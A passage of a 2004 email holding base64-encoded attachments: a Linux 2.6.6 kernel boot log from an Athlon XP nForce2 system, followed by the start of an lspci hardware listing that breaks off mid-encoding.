ZGUgMCB0b3RhbHBhZ2VzOiAxMzEwNTYKICBETUEgem9uZTogNDA5NiBwYWdlcywgTElGTyBiYXRj aDoxCiAgTm9ybWFsIHpvbmU6IDEyNjk2MCBwYWdlcywgTElGTyBiYXRjaDoxNgogIEhpZ2hNZW0g em9uZTogMCBwYWdlcywgTElGTyBiYXRjaDoxCkRNSSAyLjMgcHJlc2VudC4KQUNQSTogUlNEUCAo djAwMCBOdmlkaWEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApIEAgMHgwMDBm NmRmMApBQ1BJOiBSU0RUICh2MDAxIE52aWRpYSBBV1JEQUNQSSAweDQyMzAyZTMxIEFXUkQgMHgw MTAxMDEwMSkgQCAweDFmZmYzMDAwCkFDUEk6IEZBRFQgKHYwMDEgTnZpZGlhIEFXUkRBQ1BJIDB4 NDIzMDJlMzEgQVdSRCAweDAxMDEwMTAxKSBAIDB4MWZmZjMwNDAKQUNQSTogTUFEVCAodjAwMSBO dmlkaWEgQVdSREFDUEkgMHg0MjMwMmUzMSBBV1JEIDB4MDEwMTAxMDEpIEAgMHgxZmZmNzc0MApB Q1BJOiBEU0RUICh2MDAxIE5WSURJQSBBV1JEQUNQSSAweDAwMDAxMDAwIE1TRlQgMHgwMTAwMDAw YykgQCAweDAwMDAwMDAwCkFDUEk6IExvY2FsIEFQSUMgYWRkcmVzcyAweGZlZTAwMDAwCkFDUEk6 IExBUElDIChhY3BpX2lkWzB4MDBdIGxhcGljX2lkWzB4MDBdIGVuYWJsZWQpClByb2Nlc3NvciAj MCA2OjEwIEFQSUMgdmVyc2lvbiAxNgpBQ1BJOiBMQVBJQ19OTUkgKGFjcGlfaWRbMHgwMF0gZGZs IGRmbCBsaW50WzB4MV0pClVzaW5nIEFDUEkgZm9yIHByb2Nlc3NvciAoTEFQSUMpIGNvbmZpZ3Vy YXRpb24gaW5mb3JtYXRpb24KSW50ZWwgTXVsdGlQcm9jZXNzb3IgU3BlY2lmaWNhdGlvbiB2MS40 CiAgICBWaXJ0dWFsIFdpcmUgY29tcGF0aWJpbGl0eSBtb2RlLgpPRU0gSUQ6IE9FTTAwMDAwIFBy b2R1Y3QgSUQ6IFBST0QwMDAwMDAwMCBBUElDIGF0OiAweEZFRTAwMDAwCkkvTyBBUElDICMyIFZl cnNpb24gMTcgYXQgMHhGRUMwMDAwMC4KRW5hYmxpbmcgQVBJQyBtb2RlOiAgRmxhdC4gIFVzaW5n IDEgSS9PIEFQSUNzClByb2Nlc3NvcnM6IDEKQnVpbHQgMSB6b25lbGlzdHMKS2VybmVsIGNvbW1h bmQgbGluZTogQk9PVF9JTUFHRT0yLjYuNiByb290PTE2MDMgbm9hY3BpIHBjaT1ub2FjcGkgYWNw aT1ub25lCkluaXRpYWxpemluZyBDUFUjMApQSUQgaGFzaCB0YWJsZSBlbnRyaWVzOiAyMDQ4IChv cmRlciAxMTogMTYzODQgYnl0ZXMpCkRldGVjdGVkIDE5MTMuNjg3IE1IeiBwcm9jZXNzb3IuClVz aW5nIHRzYyBmb3IgaGlnaC1yZXMgdGltZXNvdXJjZQpDb25zb2xlOiBjb2xvdXIgVkdBKyA4MHgy NQpNZW1vcnk6IDUxNjE0OGsvNTI0MjI0ayBhdmFpbGFibGUgKDE5MDRrIGtlcm5lbCBjb2RlLCA3 MzEyayByZXNlcnZlZCwgOTIzayBkYXRhLCAxMzZrIGluaXQsIDBrIGhpZ2htZW0pCkNoZWNraW5n IGlmIHRoaXMgcHJvY2Vzc29yIGhvbm91cnMgdGhlIFdQIGJpdCBldmVuIGluIHN1cGVydmlzb3Ig bW9kZS4uLiBPay4KQ2FsaWJyYXRpbmcgZGVsYXkgbG9vcC4uLiAzNzg0LjcwIEJvZ29NSVBTCkRl bnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5 dGVzKQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChvcmRlcjogNSwgMTMx MDcyIGJ5dGVzKQpNb3VudC1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDUxMiAob3JkZXI6IDAs IDQwOTYgYnl0ZXMpCkNQVTogICAgIEFmdGVyIGdlbmVyaWMgaWRlbnRpZnksIGNhcHM6IDAzODNm YmZmIGMxYzNmYmZmIDAwMDAwMDAwIDAwMDAwMDAwCkNQVTogICAgIEFmdGVyIHZlbmRvciBpZGVu dGlmeSwgY2FwczogMDM4M2ZiZmYgYzFjM2ZiZmYgMDAwMDAwMDAgMDAwMDAwMDAKQ1BVOiBMMSBJ IENhY2hlOiA2NEsgKDY0IGJ5dGVzL2xpbmUpLCBEIGNhY2hlIDY0SyAoNjQgYnl0ZXMvbGluZSkK Q1BVOiBMMiBDYWNoZTogNTEySyAoNjQgYnl0ZXMvbGluZSkKQ1BVOiAgICAgQWZ0ZXIgYWxsIGlu aXRzLCBjYXBzOiAwMzgzZmJmZiBjMWMzZmJmZiAwMDAwMDAwMCAwMDAwMDAyMApJbnRlbCBtYWNo aW5lIGNoZWNrIGFyY2hpdGVjdHVyZSBzdXBwb3J0ZWQuCkludGVsIG1hY2hpbmUgY2hlY2sgcmVw b3J0aW5nIGVuYWJsZWQgb24gQ1BVIzAuCkNQVTogQU1EIEF0aGxvbih0bSkgWFAgMjYwMCsgc3Rl cHBpbmcgMDAKRW5hYmxpbmcgZmFzdCBGUFUgc2F2ZSBhbmQgcmVzdG9yZS4uLiBkb25lLgpFbmFi bGluZyB1bm1hc2tlZCBTSU1EIEZQVSBleGNlcHRpb24gc3VwcG9ydC4uLiBkb25lLgpDaGVja2lu ZyAnaGx0JyBpbnN0cnVjdGlvbi4uLiBPSy4KUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBV TklGSVgKZW5hYmxlZCBFeHRJTlQgb24gQ1BVIzAKRVNSIHZhbHVlIGJlZm9yZSBlbmFibGluZyB2 ZWN0b3I6IDAwMDAwMDAwCkVTUiB2YWx1ZSBhZnRlciBlbmFibGluZyB2ZWN0b3I6IDAwMDAwMDAw ClVzaW5nIGxvY2FsIEFQSUMgdGltZXIgaW50ZXJydXB0cy4KY2FsaWJyYXRpbmcgQVBJQyB0aW1l ciAuLi4KLi4uLi4gQ1BVIGNsb2NrIHNwZWVkIGlzIDE5MTIuMDk0MiBNSHouCi4uLi4uIGhvc3Qg YnVzIGNsb2NrIHNwZWVkIGlzIDMzMi4wNjg1IE1Iei4KTkVUOiBSZWdpc3RlcmVkIHByb3RvY29s IGZhbWlseSAxNgpQQ0k6IFBDSSBCSU9TIHJldmlzaW9uIDIuMTAgZW50cnkgYXQgMHhmYWY1MCwg bGFzdCBidXM9MgpQQ0k6IFVzaW5nIGNvbmZpZ3VyYXRpb24gdHlwZSAxCm10cnI6IHYyLjAgKDIw MDIwNTE5KQpTQ1NJIHN1YnN5c3RlbSBpbml0aWFsaXplZAp1c2Jjb3JlOiByZWdpc3RlcmVkIG5l dyBkcml2ZXIgdXNiZnMKdXNiY29yZTogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIGh1YgpQQ0k6IFBy b2JpbmcgUENJIGhhcmR3YXJlClBDSTogUHJvYmluZyBQQ0kgaGFyZHdhcmUgKGJ1cyAwMCkKUENJ OiBuRm9yY2UyIEMxIEhhbHQgRGlzY29ubmVjdCBmaXh1cApQQ0k6IERpc2NvdmVyZWQgcHJpbWFy eSBwZWVyIGJ1cyBmZiBbSVJRXQpQQ0k6IFVzaW5nIElSUSByb3V0ZXIgZGVmYXVsdCBbMTBkZS8w MWUwXSBhdCAwMDAwOjAwOjAwLjAKc3B1cmlvdXMgODI1OUEgaW50ZXJydXB0OiBJUlE3LgpyaXZh ZmI6IG5WaWRpYSBkZXZpY2UvY2hpcHNldCAxMERFMDExMApyaXZhZmI6IERldGVjdGVkIENSVEMg Y29udHJvbGxlciAwIGJlaW5nIHVzZWQKcml2YWZiOiBSSVZBIE1UUlIgc2V0IHRvIE9OCnJpdmFm YjogUENJIG5WaWRpYSBOVjEwIGZyYW1lYnVmZmVyIHZlciAwLjkuNWIgKG5WaWRpYUdlRm9yY2Uy LU0sIDY0TUIgQCAweEQwMDAwMDAwKQpNYWNoaW5lIGNoZWNrIGV4Y2VwdGlvbiBwb2xsaW5nIHRp bWVyIHN0YXJ0ZWQuCmFwbTogQklPUyB2ZXJzaW9uIDEuMiBGbGFncyAweDA3IChEcml2ZXIgdmVy c2lvbiAxLjE2YWMpCnVkZjogcmVnaXN0ZXJpbmcgZmlsZXN5c3RlbQpSZWFsIFRpbWUgQ2xvY2sg RHJpdmVyIHYxLjEyCkxpbnV4IGFncGdhcnQgaW50ZXJmYWNlIHYwLjEwMCAoYykgRGF2ZSBKb25l cwphZ3BnYXJ0OiBEZXRlY3RlZCBOVklESUEgbkZvcmNlMiBjaGlwc2V0CmFncGdhcnQ6IE1heGlt dW0gbWFpbiBtZW1vcnkgdG8gdXNlIGZvciBhZ3AgbWVtb3J5OiA0MzlNCmFncGdhcnQ6IEFHUCBh cGVydHVyZSBpcyA2NE0gQCAweGQ4MDAwMDAwCmxvb3A6IGxvYWRlZCAobWF4IDggZGV2aWNlcykK VXNpbmcgYW50aWNpcGF0b3J5IGlvIHNjaGVkdWxlcgpuYmQ6IHJlZ2lzdGVyZWQgZGV2aWNlIGF0 IG1ham9yIDQzCnI4MTY5IEdpZ2FiaXQgRXRoZXJuZXQgZHJpdmVyIDEuMiBsb2FkZWQKZXRoMDog SWRlbnRpZmllZCBjaGlwIHR5cGUgaXMgJ1JUTDgxNjlzLzgxMTBzJy4KZXRoMDogUlRMODE2OSBh dCAweGU1ODNhMDAwLCAwMDowZDo2MTo0Yjo5NzpmOSwgSVJRIDExCmV0aDA6IEF1dG8tbmVnb3Rp YXRpb24gRW5hYmxlZC4KZXRoMDogMTAwTWJwcyBGdWxsLWR1cGxleCBvcGVyYXRpb24uCkxpbnV4 IHZpZGVvIGNhcHR1cmUgaW50ZXJmYWNlOiB2MS4wMApVbmlmb3JtIE11bHRpLVBsYXRmb3JtIEUt SURFIGRyaXZlciBSZXZpc2lvbjogNy4wMGFscGhhMgppZGU6IEFzc3VtaW5nIDMzTUh6IHN5c3Rl bSBidXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsgb3ZlcnJpZGUgd2l0aCBpZGVidXM9eHgKTkZPUkNF MjogSURFIGNvbnRyb2xsZXIgYXQgUENJIHNsb3QgMDAwMDowMDowOS4wCk5GT1JDRTI6IGNoaXBz ZXQgcmV2aXNpb24gMTYyCk5GT1JDRTI6IG5vdCAxMDAlIG5hdGl2ZSBtb2RlOiB3aWxsIHByb2Jl IGlycXMgbGF0ZXIKTkZPUkNFMjogQklPUyBkaWRuJ3Qgc2V0IGNhYmxlIGJpdHMgY29ycmVjdGx5 LiBFbmFibGluZyB3b3JrYXJvdW5kLgpORk9SQ0UyOiBCSU9TIGRpZG4ndCBzZXQgY2FibGUgYml0 cyBjb3JyZWN0bHkuIEVuYWJsaW5nIHdvcmthcm91bmQuCk5GT1JDRTI6IDAwMDA6MDA6MDkuMCAo cmV2IGEyKSBVRE1BMTMzIGNvbnRyb2xsZXIKICAgIGlkZTA6IEJNLURNQSBhdCAweGYwMDAtMHhm MDA3LCBCSU9TIHNldHRpbmdzOiBoZGE6RE1BLCBoZGI6RE1BCiAgICBpZGUxOiBCTS1ETUEgYXQg MHhmMDA4LTB4ZjAwZiwgQklPUyBzZXR0aW5nczogaGRjOkRNQSwgaGRkOkRNQQpoZGE6IF9ORUMg RFZEK1JXIE5ELTEwMDBBLCBBVEFQSSBDRC9EVkQtUk9NIGRyaXZlCmhkYjogU1QzMTIwMDIyQSwg QVRBIERJU0sgZHJpdmUKaWRlMCBhdCAweDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTQKaGRjOiBX REMgV0QxMjAwSkItMDBFVkEwLCBBVEEgRElTSyBkcml2ZQpoZGQ6IFNUMzQwMDE2QSwgQVRBIERJ U0sgZHJpdmUKaWRlMSBhdCAweDE3MC0weDE3NywweDM3NiBvbiBpcnEgMTUKaGRiOiBtYXggcmVx dWVzdCBzaXplOiAxMDI0S2lCCmhkYjogMjM0NDQxNjQ4IHNlY3RvcnMgKDEyMDAzNCBNQikgdy8y MDQ4S2lCIENhY2hlLCBDSFM9MTYzODMvMjU1LzYzLCBVRE1BKDEwMCkKIGhkYjogaGRiMQpoZGM6 IG1heCByZXF1ZXN0IHNpemU6IDEwMjRLaUIKaGRjOiAyMzQ0NDE2NDggc2VjdG9ycyAoMTIwMDM0 IE1CKSB3LzgxOTJLaUIgQ2FjaGUsIENIUz0xNjM4My8yNTUvNjMsIFVETUEoMTAwKQogaGRjOiBo ZGMxIGhkYzIgaGRjMyBoZGM0CmhkZDogbWF4IHJlcXVlc3Qgc2l6ZTogMTI4S2lCCmhkZDogNzgx NjUzNjAgc2VjdG9ycyAoNDAwMjAgTUIpIHcvMjA0OEtpQiBDYWNoZSwgQ0hTPTY1NTM1LzE2LzYz LCBVRE1BKDEwMCkKIGhkZDogaGRkMQpoZGE6IEFUQVBJIDQwWCBEVkQtUk9NIENELVIvUlcgZHJp dmUsIDIwNDhrQiBDYWNoZSwgVURNQSgzMykKVW5pZm9ybSBDRC1ST00gZHJpdmVyIFJldmlzaW9u OiAzLjIwCm9oY2lfaGNkOiAyMDA0IEZlYiAwMiBVU0IgMS4xICdPcGVuJyBIb3N0IENvbnRyb2xs ZXIgKE9IQ0kpIERyaXZlciAoUENJKQpvaGNpX2hjZDogYmxvY2sgc2l6ZXM6IGVkIDY0IHRkIDY0 Cm9oY2lfaGNkIDAwMDA6MDA6MDIuMDogblZpZGlhIENvcnBvcmF0aW9uIG5Gb3JjZTIgVVNCIENv bnRyb2xsZXIKUENJOiBTZXR0aW5nIGxhdGVuY3kgdGltZXIgb2YgZGV2aWNlIDAwMDA6MDA6MDIu MCB0byA2NApvaGNpX2hjZCAwMDAwOjAwOjAyLjA6IGlycSA0LCBwY2kgbWVtIGU1ODNjMDAwCm9o Y2lfaGNkIDAwMDA6MDA6MDIuMDogbmV3IFVTQiBidXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVz IG51bWJlciAxCmh1YiAxLTA6MS4wOiBVU0IgaHViIGZvdW5kCmh1YiAxLTA6MS4wOiAzIHBvcnRz IGRldGVjdGVkCm9oY2lfaGNkIDAwMDA6MDA6MDIuMTogblZpZGlhIENvcnBvcmF0aW9uIG5Gb3Jj ZTIgVVNCIENvbnRyb2xsZXIgKCMyKQpQQ0k6IFNldHRpbmcgbGF0ZW5jeSB0aW1lciBvZiBkZXZp Y2UgMDAwMDowMDowMi4xIHRvIDY0Cm9oY2lfaGNkIDAwMDA6MDA6MDIuMTogaXJxIDMsIHBjaSBt ZW0gZTU4M2UwMDAKb2hjaV9oY2QgMDAwMDowMDowMi4xOiBuZXcgVVNCIGJ1cyByZWdpc3RlcmVk LCBhc3NpZ25lZCBidXMgbnVtYmVyIDIKaHViIDItMDoxLjA6IFVTQiBodWIgZm91bmQKaHViIDIt MDoxLjA6IDMgcG9ydHMgZGV0ZWN0ZWQKVVNCIFVuaXZlcnNhbCBIb3N0IENvbnRyb2xsZXIgSW50 ZXJmYWNlIGRyaXZlciB2Mi4yCnVzYmNvcmU6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciB1c2JscApk cml2ZXJzL3VzYi9jbGFzcy91c2JscC5jOiB2MC4xMzogVVNCIFByaW50ZXIgRGV2aWNlIENsYXNz IGRyaXZlcgpJbml0aWFsaXppbmcgVVNCIE1hc3MgU3RvcmFnZSBkcml2ZXIuLi4KdXNiY29yZTog cmVnaXN0ZXJlZCBuZXcgZHJpdmVyIHVzYi1zdG9yYWdlClVTQiBNYXNzIFN0b3JhZ2Ugc3VwcG9y dCByZWdpc3RlcmVkLgp1c2Jjb3JlOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaGlkZGV2CnVzYmNv cmU6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciBoaWQKZHJpdmVycy91c2IvaW5wdXQvaGlkLWNvcmUu YzogdjIuMDpVU0IgSElEIGNvcmUgZHJpdmVyCm1pY2U6IFBTLzIgbW91c2UgZGV2aWNlIGNvbW1v biBmb3IgYWxsIG1pY2UKc2VyaW86IGk4MDQyIEFVWCBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTIK c2VyaW86IGk4MDQyIEtCRCBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMQppbnB1dDogQVQgVHJhbnNs YXRlZCBTZXQgMiBrZXlib2FyZCBvbiBpc2EwMDYwL3NlcmlvMAppMmNfYWRhcHRlciBpMmMtMDog bkZvcmNlMiBTTUJ1cyBhZGFwdGVyIGF0IDB4MWMwMAppMmNfYWRhcHRlciBpMmMtMTogbkZvcmNl MiBTTUJ1cyBhZGFwdGVyIGF0IDB4MjAwMAptZDogbGluZWFyIHBlcnNvbmFsaXR5IHJlZ2lzdGVy ZWQgYXMgbnIgMQptZDogcmFpZDAgcGVyc29uYWxpdHkgcmVnaXN0ZXJlZCBhcyBuciAyCm1kOiBy YWlkMSBwZXJzb25hbGl0eSByZWdpc3RlcmVkIGFzIG5yIDMKbWQ6IHJhaWQ1IHBlcnNvbmFsaXR5 IHJlZ2lzdGVyZWQgYXMgbnIgNApyYWlkNTogbWVhc3VyaW5nIGNoZWNrc3VtbWluZyBzcGVlZAog ICA4cmVncyAgICAgOiAgMjg5Ni4wMDAgTUIvc2VjCiAgIDhyZWdzX3ByZWZldGNoOiAgMjYzMi4w MDAgTUIvc2VjCiAgIDMycmVncyAgICA6ICAyNTA0LjAwMCBNQi9zZWMKICAgMzJyZWdzX3ByZWZl dGNoOiAgMjMxNi4wMDAgTUIvc2VjCiAgIHBJSUlfc3NlICA6ICA1MTg0LjAwMCBNQi9zZWMKICAg cElJX21teCAgIDogIDUxMjQuMDAwIE1CL3NlYwogICBwNV9tbXggICAgOiAgNjgwNC4wMDAgTUIv c2VjCnJhaWQ1OiB1c2luZyBmdW5jdGlvbjogcElJSV9zc2UgKDUxODQuMDAwIE1CL3NlYykKbWQ6 IG1kIGRyaXZlciAwLjkwLjAgTUFYX01EX0RFVlM9MjU2LCBNRF9TQl9ESVNLUz0yNwpBZHZhbmNl ZCBMaW51eCBTb3VuZCBBcmNoaXRlY3R1cmUgRHJpdmVyIFZlcnNpb24gMS4wLjRyYzIgKFR1ZSBN YXIgMzAgMDg6MTk6MzAgMjAwNCBVVEMpLgpQQ0k6IFNldHRpbmcgbGF0ZW5jeSB0aW1lciBvZiBk ZXZpY2UgMDAwMDowMDowNi4wIHRvIDY0CmludGVsOHgwX21lYXN1cmVfYWM5N19jbG9jazogbWVh c3VyZWQgNDk0MjQgdXNlY3MKaW50ZWw4eDA6IGNsb2NraW5nIHRvIDQ3NDQ3CnVzYiAyLTE6IG5l dyBsb3cgc3BlZWQgVVNCIGRldmljZSB1c2luZyBhZGRyZXNzIDIKQUxTQSBkZXZpY2UgbGlzdDoK ICAjMDogTlZpZGlhIG5Gb3JjZTIgYXQgMHhlMTAwMDAwMCwgaXJxIDUKTkVUOiBSZWdpc3RlcmVk IHByb3RvY29sIGZhbWlseSAyCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgNDA5NiBi dWNrZXRzLCAzMktieXRlcwpUQ1A6IEhhc2ggdGFibGVzIGNvbmZpZ3VyZWQgKGVzdGFibGlzaGVk IDMyNzY4IGJpbmQgMzI3NjgpCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMQpORVQ6 IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDE3Cm1kOiBBdXRvZGV0ZWN0aW5nIFJBSUQgYXJy YXlzLgptZDogYXV0b3J1biAuLi4KbWQ6IC4uLiBhdXRvcnVuIERPTkUuCmtqb3VybmFsZCBzdGFy dGluZy4gIENvbW1pdCBpbnRlcnZhbCA1IHNlY29uZHMKRVhUMy1mczogbW91bnRlZCBmaWxlc3lz dGVtIHdpdGggb3JkZXJlZCBkYXRhIG1vZGUuClZGUzogTW91bnRlZCByb290IChleHQzIGZpbGVz eXN0ZW0pIHJlYWRvbmx5LgpGcmVlaW5nIHVudXNlZCBrZXJuZWwgbWVtb3J5OiAxMzZrIGZyZWVk CmlucHV0OiBVU0IgSElEIHYxLjAwIE1vdXNlIFtNaWNyb3NvZnQgTWljcm9zb2Z0IFRyYWNrYmFs bCBPcHRpY2Fsrl0gb24gdXNiLTAwMDA6MDA6MDIuMS0xCnVzYiAyLTI6IG5ldyBmdWxsIHNwZWVk IFVTQiBkZXZpY2UgdXNpbmcgYWRkcmVzcyAzCmh1YiAyLTI6MS4wOiBVU0IgaHViIGZvdW5kCmh1 YiAyLTI6MS4wOiA0IHBvcnRzIGRldGVjdGVkCnVzYiAyLTIuNDogbmV3IGZ1bGwgc3BlZWQgVVNC IGRldmljZSB1c2luZyBhZGRyZXNzIDQKZHJpdmVycy91c2IvY2xhc3MvdXNibHAuYzogdXNibHAw OiBVU0IgQmlkaXJlY3Rpb25hbCBwcmludGVyIGRldiA0IGlmIDAgYWx0IDAgcHJvdG8gMiB2aWQg MHgwM0YwIHBpZCAweDcxMDQKRVhUMyBGUyBvbiBoZGMzLCBpbnRlcm5hbCBqb3VybmFsCm1kOiBt ZDAgc3RvcHBlZC4KbWQ6IGJpbmQ8aGRkMT4KbWQ6IGJpbmQ8aGRiMT4KbWQ6IGJpbmQ8aGRjND4K bWQwOiBzZXR0aW5nIG1heF9zZWN0b3JzIHRvIDIwNDgsIHNlZ21lbnQgYm91bmRhcnkgdG8gNTI0 Mjg3CnJhaWQwOiBsb29raW5nIGF0IGhkYzQKcmFpZDA6ICAgY29tcGFyaW5nIGhkYzQoNzAzOTU5 MDQpIHdpdGggaGRjNCg3MDM5NTkwNCkKcmFpZDA6ICAgRU5ECnJhaWQwOiAgID09PiBVTklRVUUK cmFpZDA6IDEgem9uZXMKcmFpZDA6IGxvb2tpbmcgYXQgaGRiMQpyYWlkMDogICBjb21wYXJpbmcg aGRiMSgxMTcyMTcyODApIHdpdGggaGRjNCg3MDM5NTkwNCkKcmFpZDA6ICAgTk9UIEVRVUFMCnJh aWQwOiAgIGNvbXBhcmluZyBoZGIxKDExNzIxNzI4MCkgd2l0aCBoZGIxKDExNzIxNzI4MCkKcmFp ZDA6ICAgRU5ECnJhaWQwOiAgID09PiBVTklRVUUKcmFpZDA6IDIgem9uZXMKcmFpZDA6IGxvb2tp bmcgYXQgaGRkMQpyYWlkMDogICBjb21wYXJpbmcgaGRkMSgzOTA3Nzg4OCkgd2l0aCBoZGM0KDcw Mzk1OTA0KQpyYWlkMDogICBOT1QgRVFVQUwKcmFpZDA6ICAgY29tcGFyaW5nIGhkZDEoMzkwNzc4 ODgpIHdpdGggaGRiMSgxMTcyMTcyODApCnJhaWQwOiAgIE5PVCBFUVVBTApyYWlkMDogICBjb21w YXJpbmcgaGRkMSgzOTA3Nzg4OCkgd2l0aCBoZGQxKDM5MDc3ODg4KQpyYWlkMDogICBFTkQKcmFp ZDA6ICAgPT0+IFVOSVFVRQpyYWlkMDogMyB6b25lcwpyYWlkMDogRklOQUwgMyB6b25lcwpyYWlk MDogem9uZSAxCnJhaWQwOiBjaGVja2luZyBoZGM0IC4uLiBjb250YWluZWQgYXMgZGV2aWNlIDAK ICAoNzAzOTU5MDQpIGlzIHNtYWxsZXN0IS4KcmFpZDA6IGNoZWNraW5nIGhkZDEgLi4uIG5vcGUu CnJhaWQwOiBjaGVja2luZyBoZGIxIC4uLiBjb250YWluZWQgYXMgZGV2aWNlIDEKcmFpZDA6IHpv bmUtPm5iX2RldjogMiwgc2l6ZTogNjI2MzYwMzIKcmFpZDA6IGN1cnJlbnQgem9uZSBvZmZzZXQ6 IDcwMzk1OTA0CnJhaWQwOiB6b25lIDIKcmFpZDA6IGNoZWNraW5nIGhkYzQgLi4uIG5vcGUuCnJh aWQwOiBjaGVja2luZyBoZGQxIC4uLiBub3BlLgpyYWlkMDogY2hlY2tpbmcgaGRiMSAuLi4gY29u dGFpbmVkIGFzIGRldmljZSAwCiAgKDExNzIxNzI4MCkgaXMgc21hbGxlc3QhLgpyYWlkMDogem9u ZS0+bmJfZGV2OiAxLCBzaXplOiA0NjgyMTM3NgpyYWlkMDogY3VycmVudCB6b25lIG9mZnNldDog MTE3MjE3MjgwCnJhaWQwOiBkb25lLgpyYWlkMCA6IG1kX3NpemUgaXMgMjI2NjkxMDcyIGJsb2Nr cy4KcmFpZDAgOiBjb25mLT5oYXNoX3NwYWNpbmcgaXMgNjI2MzYwMzIgYmxvY2tzLgpyYWlkMCA6 IG5iX3pvbmUgaXMgNC4KcmFpZDAgOiBBbGxvY2F0aW5nIDE2IGJ5dGVzIGZvciBoYXNoLgpBZGRp bmcgNTMwMTM2ayBzd2FwIG9uIC9kZXYvaGRjMi4gIFByaW9yaXR5Oi0xIGV4dGVudHM6MQpram91 cm5hbGQgc3RhcnRpbmcuICBDb21taXQgaW50ZXJ2YWwgNSBzZWNvbmRzCkVYVDMgRlMgb24gaGRj MSwgaW50ZXJuYWwgam91cm5hbApFWFQzLWZzOiBtb3VudGVkIGZpbGVzeXN0ZW0gd2l0aCBvcmRl cmVkIGRhdGEgbW9kZS4Ka2pvdXJuYWxkIHN0YXJ0aW5nLiAgQ29tbWl0IGludGVydmFsIDUgc2Vj b25kcwpFWFQzLWZzIHdhcm5pbmc6IG1heGltYWwgbW91bnQgY291bnQgcmVhY2hlZCwgcnVubmlu ZyBlMmZzY2sgaXMgcmVjb21tZW5kZWQKRVhUMyBGUyBvbiBtZDAsIGludGVybmFsIGpvdXJuYWwK RVhUMy1mczogbW91bnRlZCBmaWxlc3lzdGVtIHdpdGggb3JkZXJlZCBkYXRhIG1vZGUuCmJsazog cXVldWUgYzE1Mzg0MDAsIEkvTyBsaW1pdCA0MDk1TWIgKG1hc2sgMHhmZmZmZmZmZikKYmxrOiBx dWV1ZSBkZmQxZmMwMCwgSS9PIGxpbWl0IDQwOTVNYiAobWFzayAweGZmZmZmZmZmKQpibGs6IHF1 ZXVlIGRmZDFmODAwLCBJL08gbGltaXQgNDA5NU1iIChtYXNrIDB4ZmZmZmZmZmYpCnByb2Nlc3Mg YHNubXBkJyBpcyB1c2luZyBvYnNvbGV0ZSBzZXRzb2Nrb3B0IFNPX0JTRENPTVBBVApwcm9jZXNz IGBuYW1lZCcgaXMgdXNpbmcgb2Jzb2xldGUgc2V0c29ja29wdCBTT19CU0RDT01QQVQKd2Fybmlu ZzogcHJvY2VzcyBgdXBkYXRlJyB1c2VkIHRoZSBvYnNvbGV0ZSBiZGZsdXNoIHN5c3RlbSBjYWxs CkZpeCB5b3VyIGluaXRzY3JpcHRzPwphdGtiZC5jOiBVbmtub3duIGtleSByZWxlYXNlZCAodHJh bnNsYXRlZCBzZXQgMiwgY29kZSAweDdhIG9uIGlzYTAwNjAvc2VyaW8wKS4KYXRrYmQuYzogVGhp cyBpcyBhbiBYRnJlZTg2IGJ1Zy4gSXQgc2hvdWxkbid0IGFjY2VzcyBoYXJkd2FyZSBkaXJlY3Rs eS4KYXRrYmQuYzogVW5rbm93biBrZXkgcmVsZWFzZWQgKHRyYW5zbGF0ZWQgc2V0IDIsIGNvZGUg MHg3YSBvbiBpc2EwMDYwL3NlcmlvMCkuCmF0a2JkLmM6IFRoaXMgaXMgYW4gWEZyZWU4NiBidWcu IEl0IHNob3VsZG4ndCBhY2Nlc3MgaGFyZHdhcmUgZGlyZWN0bHkuCndhcm5pbmc6IHByb2Nlc3Mg YHVwZGF0ZScgdXNlZCB0aGUgb2Jzb2xldGUgYmRmbHVzaCBzeXN0ZW0gY2FsbApGaXggeW91ciBp bml0c2NyaXB0cz8KY2Ryb206IFRoaXMgZGlzYyBkb2Vzbid0IGhhdmUgYW55IHRyYWNrcyBJIHJl Y29nbml6ZSEK --Multipart_Tue__25_May_2004_19:10:36_-0500_081ffda0 Content-Type: text/plain; name="lspci.txt" Content-Disposition: attachment; filename="lspci.txt" Content-Transfer-Encoding: base64 MDA6MDAuMCBIb3N0IGJyaWRnZTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAw MWUwIChyZXYgYzEpCglGbGFnczogYnVzIG1hc3RlciwgNjZNaHosIGZhc3QgZGV2c2VsLCBsYXRl bmN5IDAKCU1lbW9yeSBhdCBkODAwMDAwMCAoMzItYml0LCBwcmVmZXRjaGFibGUpIFtzaXplPTY0 TV0KCUNhcGFiaWxpdGllczogWzQwXSBBR1AgdmVyc2lvbiAyLjAKCUNhcGFiaWxpdGllczogWzYw XSAjMDggWzIwMDFdCjAwOiBkZSAxMCBlMCAwMSAwNiAwMCBiMCAwMCBjMSAwMCAwMCAwNiAwMCAw MCA4MCAwMAoxMDogMDggMDAgMDAgZDggMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwCjMw OiAwMCAwMCAwMCAwMCA0MCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoKMDA6MDAu MSBSQU0gbWVtb3J5OiBuVmlkaWEgQ29ycG9yYXRpb246IFVua25vd24gZGV2aWNlIDAxZWIgKHJl diBjMSkKCVN1YnN5c3RlbTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAwYzE3 CglGbGFnczogNjZNaHosIGZhc3QgZGV2c2VsCjAwOiBkZSAxMCBlYiAwMSAwMCAwMCAyMCAwMCBj 